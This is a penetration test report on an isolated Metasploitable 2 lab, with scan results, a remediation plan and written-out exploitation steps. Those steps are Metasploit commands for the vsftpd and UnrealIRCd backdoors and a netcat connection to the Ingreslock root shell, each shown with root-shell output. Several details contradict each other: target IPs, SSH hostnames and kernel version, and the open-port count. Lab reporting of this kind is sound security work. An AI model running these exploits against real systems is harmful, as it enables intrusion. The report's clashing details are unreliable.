1
Host Assessed
24
Open TCP Ports
47
GVM Scan Findings
48
Total Confirmed Findings
77
Associated CVEs
4
Validated Root Shells

1. Executive Summary

This report documents a controlled gray-box infrastructure penetration test conducted against an isolated Metasploitable 2 lab environment (172.17.0.3). The engagement combined manual network reconnaissance, automated scanning via OpenVAS / Greenbone Vulnerability Management (GVM 27.5.0), and controlled exploit verification using the Metasploit Framework (msf6).


The automated GVM scan identified 47 distinct vulnerability results across 15 active services mapped to 77 CVE identifiers. Host-level severity distribution confirmed 9 Critical, 7 High, 25 Medium, and 6 Low findings. Manual testing identified an additional weak/default credential vulnerability, bringing the total to 48 confirmed findings.


Exploitation Outcome: Four independent exploitation paths were validated in the isolated lab — a legacy FTP backdoor (vsftpd 2.3.4), an unauthenticated root-shell listener (Ingreslock), a trojanized IRC service (UnrealIRCd), and weak SSH credentials. Each resulted in confirmed authenticated or root-level (uid=0) access. Consequently, the overall target posture is rated CRITICAL.

Severity & Finding Breakdown

Severity Count Representative Vulnerability Findings
Critical 9 vsftpd 2.3.4 backdoor, Ingreslock root-shell listener, Apache Tomcat AJP (Ghostcat), dRuby/DRb RCE, rexec service, distccd RCE, PostgreSQL default credentials, OS end-of-life (Ubuntu 8.04).
High 7 UnrealIRCd backdoor & auth spoofing, rsh/rlogin cleartext authentication, OpenSSL CCS MITM, FTP brute-forceable default credentials, weak/default SSH credentials (manual).
Medium 25 Deprecated TLSv1.0/1.1 and SSLv2/SSLv3, weak cipher suites, STARTTLS command injection, TLS renegotiation DoS, anonymous FTP login reporting.
Low 6 SSLv3 POODLE, LogJam DHE_EXPORT bypass, ICMP timestamp disclosure.

2. PTES Assessment Methodology

The assessment adhered to the four core phases of the Penetration Testing Execution Standard (PTES):


  1. Phase 1 — Reconnaissance & Enumeration: Full 65,535 TCP port scanning and banner grabbing via Nmap 7.99 to discover all active listeners and fingerprint service versions.
  2. Phase 2 — Vulnerability Assessment: Automated vulnerability identification, CVSS v2/v3 scoring, CPE inventorying, and CVE mapping using OpenVAS / Greenbone GVM 27.5.0.
  3. Phase 3 — Exploitation & Proof of Concept: Controlled proof-of-concept validation of high-impact vectors using Metasploit (msf6) and Netcat to verify root privilege escalation (uid=0).
  4. Phase 4 — Remediation & Hardening: Formulating short-term immediate patches and strategic long-term defensive recommendations to secure the target.

Assessment Tooling & Standards

Tool / Standard Version Role in Assessment
Nmap 7.99 Full 65,535 TCP port scan, OS detection, and service banner enumeration.
OpenVAS / Greenbone (GVM) 27.5.0 Automated vulnerability management, CVSS scoring, and CPE identification.
Metasploit Framework msf6 Exploitation validation, payload delivery, and post-exploitation verification.
PTES Standard Framework Structured methodology for ethical hacking and report documentation.

3. Reconnaissance & Service Enumeration

A full TCP port scan was executed against 172.17.0.3 to identify running services and banner details.

nmap -sS -sV -O -p- -T4 127.0.0.3 -oN recon_fullscan.txt

3.2 Enumerated 24 Open TCP Ports

Port Service Version / Banner Detail Risk Level
21/tcpFTPvsftpd 2.3.4Critical
22/tcpSSHOpenSSH 4.7p1 Debian 8ubuntu1Medium
23/tcpTelnetLinux telnetdMedium
25/tcpSMTPPostfix smtpdMedium
111/tcprpcbindRPC #100000 (v2)Low
139/445/tcpnetbios-ssnSamba smbd 3.x–4.x (WORKGROUP)High
512/tcpexecrexec serviceCritical
513/tcploginrlogin serviceHigh
514/tcpshellrsh serviceHigh
1099/tcpjava-rmiGNU Classpath grmiregistryMedium
1524/tcpingreslockRoot shell bind backdoorCritical
2049/tcpnfsRPC #100003 (v2–4)Medium
3306/tcpmysqlMySQL 5.0.51a-3ubuntu5Medium
3632/tcpdistccddistccd v1 (GNU 4.2.4)Critical
5432/tcppostgresqlPostgreSQL DB 8.3.0–8.3.7Critical
6667/tcpircUnrealIRCdCritical
8009/tcpajp13Apache JServ Protocol v1.3Critical
8080/tcphttpApache httpd 2.4.25Medium
8180/tcphttpApache Tomcat/Coyote JSP engine 1.1High

4. Vulnerability Assessment Findings (GVM Scan)

An automated scan executed via OpenVAS/GVM (Task ID: 5c433d5a-b3b2-4f2e-8576-bc28f71f94f0) returned 47 distinct results mapped to 77 CVEs across 15 fingerprinted CPE applications.

4.1 Top Critical Vulnerabilities

Vulnerability Description Port / Location CVSS Score Impact & Exposure
Operating System End-of-Life (EOL) Host General 10.0 Ubuntu 8.04 reached EOL in May 2013; receiving zero vendor patches.
Distributed Ruby (dRuby/DRb) Multiple RCE 8787/tcp 10.0 Unauthenticated remote code execution via object evaluation.
Possible Backdoor: Ingreslock 1524/tcp 10.0 Unauthenticated direct root shell listener.
vsftpd Compromised Source Package Backdoor 21/tcp & 6200/tcp 9.8 Malicious backdoor in vsftpd 2.3.4 (CVE-2011-2523) opening root port 6200.
Apache Tomcat AJP RCE (Ghostcat) 8009/tcp 9.8 Arbitrary file read & potential RCE (CVE-2020-1938).
distccd Network Compiler RCE 3632/tcp 9.3 Unauthenticated remote command execution (CVE-2004-2687).
PostgreSQL Default Credentials 5432/tcp 9.0 Default database accounts enabling full database compromise.
UnrealIRCd Trojanized Backdoor 6667/tcp 8.1 Trojanized IRC server allowing remote arbitrary command execution (CVE-2010-2075).

5. Controlled Exploitation & Proof of Concept

Four independent compromise vectors were validated in the isolated lab environment, each yielding authenticated or root-level access.

Vector 1: vsftpd 2.3.4 Backdoor Command Execution Root (uid=0)

Exploit Module: exploit/unix/ftp/vsftpd_234_backdoor
Outcome: Triggered the smile face :) backdoor username input, spawning a root Meterpreter session on port 6200.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.3 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit [*] Meterpreter session 1 opened (172.17.0.1:5555 -> 172.17.0.3:57720) meterpreter > getuid Server username: root
Vector 2: Ingreslock Unauthenticated Root Shell Listener Root (uid=0)

Exploit Method: Direct Netcat raw socket connection to port 1524.
Outcome: Port 1524 immediately yielded an interactive root shell with no password required.

$ nc -vn 172.17.0.2 1524 (UNKNOWN) [172.17.0.2] 1524 (ingreslock) open id uid=0(root) gid=0(root) groups=0(root) whoami root
Vector 3: UnrealIRCd 3.2.8.1 Trojanized Backdoor Root (uid=0)

Exploit Module: exploit/unix/irc/unreal_ircd_3281_backdoor
Outcome: Sent the `AB` payload to trigger the embedded backdoor, returning a reverse root command shell over TCP.

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 172.17.0.2 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit [*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:35936) id uid=0(root) gid=0(root) groups=0(root)
Vector 4: Weak / Default SSH Credentials Authenticated Shell

Exploit Method: Authenticated SSH access with legacy host key algorithms.
Outcome: Successfully logged in as sabry@172.17.0.2 using default credentials.

ssh -o HostKeyAlgorithms=+ssh-rsa sabry@172.17.0.2 sabry@df816fc21dd3:~$ uname -a Linux 32554753bfe5 4.13.0-21-generic #24-Ubuntu SMP Mon Dec 18 17:29:16 UTC 2017 x86_64

6. Strategic Remediation Roadmap

Phase 1: Immediate Short-Term Fixes

  • Retire vsftpd 2.3.4: Immediately remove the compromised package and transition to modern SFTP over SSH.
  • Disable Legacy Unencrypted Remote Access: Disable inetd services for rsh (514), rlogin (513), rexec (512), Telnet (23), and the Ingreslock listener (1524).
  • Patch Apache Tomcat: Upgrade Tomcat to release 9.0.31+ or 8.5.51+ to remediate the Ghostcat AJP vulnerability (CVE-2020-1938).
  • Remove UnrealIRCd & dRuby Listeners: Terminate unauthenticated IRC and dRuby service daemons.
  • Credential Rotation: Change all default PostgreSQL and MySQL database passwords and disable password-based SSH root login.

Phase 2: Long-Term Defense Strategies

  • Network Segmentation & Ingress Firewalling: Enforce strict host-level firewalls (iptables / UFW) allowing only explicitly required operational ports.
  • OS Lifecycle Management: Migrate from the EOL Ubuntu 8.04 distribution to a maintained Ubuntu LTS release.
  • Vulnerability Management Integration: Implement automated weekly Greenbone GVM scans integrated into SOC monitoring dashboards.
  • TLS Cryptographic Modernization: Enforce TLS 1.2/1.3, replace 16-year-old expired self-signed certificates, and deprecate SSLv2/SSLv3 export ciphers.

7. Complete 11-Page Assessment Report Gallery

Below is the complete visual documentation generated during the penetration test.